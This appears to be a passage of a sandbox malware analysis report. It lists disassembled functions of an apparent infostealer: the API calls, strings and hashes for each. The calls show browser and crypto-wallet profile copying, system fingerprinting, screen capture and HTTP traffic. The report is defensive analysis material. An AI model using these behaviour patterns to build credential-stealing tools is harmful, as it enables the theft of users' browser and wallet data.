Opcode Fuzzy Hash: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction Fuzzy Hash: 95C12AB1E0021AABCF22EF60DC45AEE777DAF08305F0140A6FA09A3151DB399F858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Preferences, xrefs: 0040A023
Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105
Google Chrome, xrefs: 0040A4B9
Opera GX, xrefs: 00409E8B

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction ID: a9b55009a8fcddda8ff4ceb811f1237a8a6c318138ce5e2e0b09e31f0378cf4a
Opcode Fuzzy Hash: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction Fuzzy Hash: 78422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6CBA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CC2F688,00001000), ref: 6CBA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CBA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBA369F
__aulldiv.LIBCMT ref: 6CBA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CBA3773
EnterCriticalSection.KERNEL32(6CC2F688), ref: 6CBA377E
LeaveCriticalSection.KERNEL32(6CC2F688), ref: 6CBA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CBA37C4
EnterCriticalSection.KERNEL32(6CC2F688), ref: 6CBA37CB
LeaveCriticalSection.KERNEL32(6CC2F688), ref: 6CBA3801
__aulldiv.LIBCMT ref: 6CBA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CBA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CBA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CBA394C

Strings

QPC, xrefs: 6CBA38FC
MOZ_TIMESTAMP_MODE, xrefs: 6CBA35DB
GenuntelineI, xrefs: 6CBA3639
AuthcAMDenti, xrefs: 6CBA3946
GTC, xrefs: 6CBA3912

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 388e3091bd88114116fba6f81d4ec4253946f3a43a0cc5ddf8f75babf49fed20
Instruction ID: d28f7aad9f667ae13fd0b014e7fa8037910f7ab83e7ac15e474149b2455c50d2
Opcode Fuzzy Hash: 388e3091bd88114116fba6f81d4ec4253946f3a43a0cc5ddf8f75babf49fed20
Instruction Fuzzy Hash: A0B1D471B183549FDB08DF28C855A1ABBF5FB8A700F05892EE89AD7750D738D805CB91

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 004160D3
%s\*, xrefs: 0041600C
%s\%s, xrefs: 0041608B

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction ID: 81d09dce4b51b3523f7962b1b768db3a72bb21831e5d2f1ad6ac3091453fc6b6
Opcode Fuzzy Hash: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction Fuzzy Hash: 3E81287190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE39AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Select * From Win32_OperatingSystem, xrefs: 00411895
ROOT\CIMV2, xrefs: 00411862
InstallDate, xrefs: 004118ED
WQL, xrefs: 0041189A
Unknown, xrefs: 00411985
%d/%d/%d %d:%d:%d, xrefs: 00411943
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411971

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction ID: 99ef6883476e7e72b4c9cbd85dd5ecdaeb76e40d083b236b73c3eff291e47a74
Opcode Fuzzy Hash: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction Fuzzy Hash: 49416C71940209BBCB10DBD5DC89EEFBBBDEB89B11F20411AF611A6190D6799941CB38

Function 0041C585 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C8B0
/, xrefs: 0041C638

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction ID: ceb82e4e54f3846e9f94eab9f0bc1a81f9160b51cd409ffa36bf36e6f1d1d03f
Opcode Fuzzy Hash: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction Fuzzy Hash: 55027EB19442688BDF21CF64CC817EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 00406963 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

ERROR, xrefs: 00406AB6
ERROR, xrefs: 00406BAB
GET, xrefs: 00406A42
hhA, xrefs: 00406976

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET$hhA
API String ID: 3863758870-1019273260
Opcode ID: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction ID: b8be4e115d185e019c2f990b7d5ff4e2311a6bf9c79d427f1dbcd116f6077eb1
Opcode Fuzzy Hash: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction Fuzzy Hash: C551ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction ID: c1d95bee058df7d0eb72bc71505ae5be25a1286d1fed2c65958a37403167da66
Opcode Fuzzy Hash: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction Fuzzy Hash: A251EA72800218AFDF15EFA1ED498EE7FBAFF08315F145425F901E2120E7369A55DB61

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA64,0043AA68,004369EE,004369EB,00417A18,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA6C), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA70), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA74,0043AA78,?,0043AA7C,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416FA7: Sleep.KERNEL32(000003E8,?,?), ref: 0041700E

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
